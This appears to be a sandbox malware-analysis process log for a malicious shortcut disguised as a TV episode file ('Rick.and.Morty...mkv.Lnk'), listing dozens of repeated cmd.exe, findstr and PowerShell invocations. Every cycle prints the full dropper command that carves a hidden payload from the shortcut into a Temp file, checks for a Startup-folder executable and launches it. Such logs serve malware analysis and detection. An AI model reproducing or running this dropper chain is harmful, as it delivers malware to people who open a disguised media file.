        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        154⤵
        
        PID:4968
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0155" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        155⤵
        
        PID:3236
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        155⤵
        
        PID:5708
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        156⤵
        
        PID:5976
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0223" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        157⤵
        
        PID:3660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        157⤵
        
        PID:3092
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        158⤵
        
        PID:3476
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0290" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        159⤵
        
        PID:3232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        159⤵
        
        PID:2036
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        160⤵
        
        PID:4416
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0340" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        161⤵
        
        PID:5952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        161⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        162⤵
        
        PID:5564
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0405" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        163⤵
        
        PID:3668
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        163⤵
        
        PID:5772
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        164⤵
        
        PID:3492
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0451" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        165⤵
        
        PID:4680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        165⤵
        
        PID:4600
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        166⤵
        
        PID:2912
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0520" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        167⤵
        
        PID:1660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        167⤵
        
        PID:5412
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        168⤵
        
        PID:4908
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0584" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        169⤵
        
        PID:4248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        169⤵
        
        PID:5652
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        170⤵
        
        PID:5884
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0645" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        171⤵
        
        PID:3952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        171⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4136
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        172⤵
        
        PID:752
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0710" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        173⤵
        
        PID:2788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        173⤵
        
        PID:3948
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        174⤵
        
        PID:436
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0770" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        175⤵
        
        PID:5888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        175⤵
        
        PID:2276
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        176⤵
        
        PID:3940
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0837" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        177⤵
        
        PID:5724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        177⤵
        
        PID:3440
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        178⤵
        
        PID:5076
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0904" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        179⤵
        
        PID:5796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        179⤵
        
        PID:5364
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        180⤵
        
        PID:776
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0977" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        181⤵
        
        PID:1764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        181⤵
        
        PID:4320
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        182⤵
        
        PID:6008
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0038" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        183⤵
        
        PID:4728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        183⤵
        
        PID:4788
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        184⤵
        
        PID:5224
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        185⤵
        
        PID:4680
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0109" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        185⤵
        
        PID:5056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        185⤵
        
        PID:5068
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        186⤵
        
        PID:1660
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0180" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        187⤵
        
        PID:4996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        187⤵
        
        PID:4568
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        188⤵
        
        PID:2832
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0259" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        189⤵
        
        PID:6056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        189⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5272
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        190⤵
        
        PID:1664
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        191⤵
        
        PID:4524
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0332" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        191⤵
        
        PID:4464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        191⤵
        
        PID:5972
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        192⤵
        
        PID:2160
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0391" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        193⤵
        
        PID:5676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        193⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1916
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        194⤵
        
        PID:1724
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0457" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        195⤵
        
        PID:3208
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        195⤵
        
        PID:5920
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        196⤵
        
        PID:2072
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0521" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        197⤵
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        197⤵
        
        PID:1632
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        198⤵
        
        PID:5568
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0595" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        199⤵
        
        PID:5648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        199⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1540
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        200⤵
        
        PID:868
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        201⤵
        
        PID:3668
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0649" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        201⤵
        
        PID:3248
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        201⤵
        
        PID:4656
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        202⤵
        
        PID:5228
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0710" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        203⤵
        
        PID:1928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        203⤵
        
        PID:812
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        204⤵
        
        PID:3984
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0777" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        205⤵
        
        PID:5452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        205⤵
        
        PID:4184
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        206⤵
        
        PID:5424
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0841" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        207⤵
        
        PID:4180
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        207⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4684
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        208⤵
        
        PID:3672
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0904" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        209⤵
        
        PID:5512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        209⤵
        
        PID:2820
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        210⤵
        
        PID:1348
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0976" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        211⤵
        
        PID:1216
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        211⤵
        
        PID:5164
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        212⤵
        
        PID:3216
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0045" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        213⤵
        
        PID:684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        213⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3800
        
        C:\Windows\SYSTEM32\cmd.EXE
        
        "C:\Windows\SYSTEM32\cmd.EXE" /v:On/cset dfX="C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"&IF NOT EXIST "C:\Users\Admin\AppData\Roaming\microsoft\windows\Start menu\programs\STARTUP\Admin.EXE" FINDSTR/v "zDG2j lb8L0%time:~-4,1%%time:~-2%" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk>!dfX!&POWERSHELL Start-process !dfX!
        214⤵
        
        PID:3920
        
        C:\Windows\system32\findstr.exe
        
        FINDSTR /v "zDG2j lb8L0112" Rick.and.Morty.S08E02.1080p.WEB.H264-LAZYCUNTS.mkv.Lnk
        215⤵
        
        PID:5304
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        POWERSHELL Start-process "C:\Users\Admin\AppData\Local\Temp\Admin.Lnk"
        215⤵
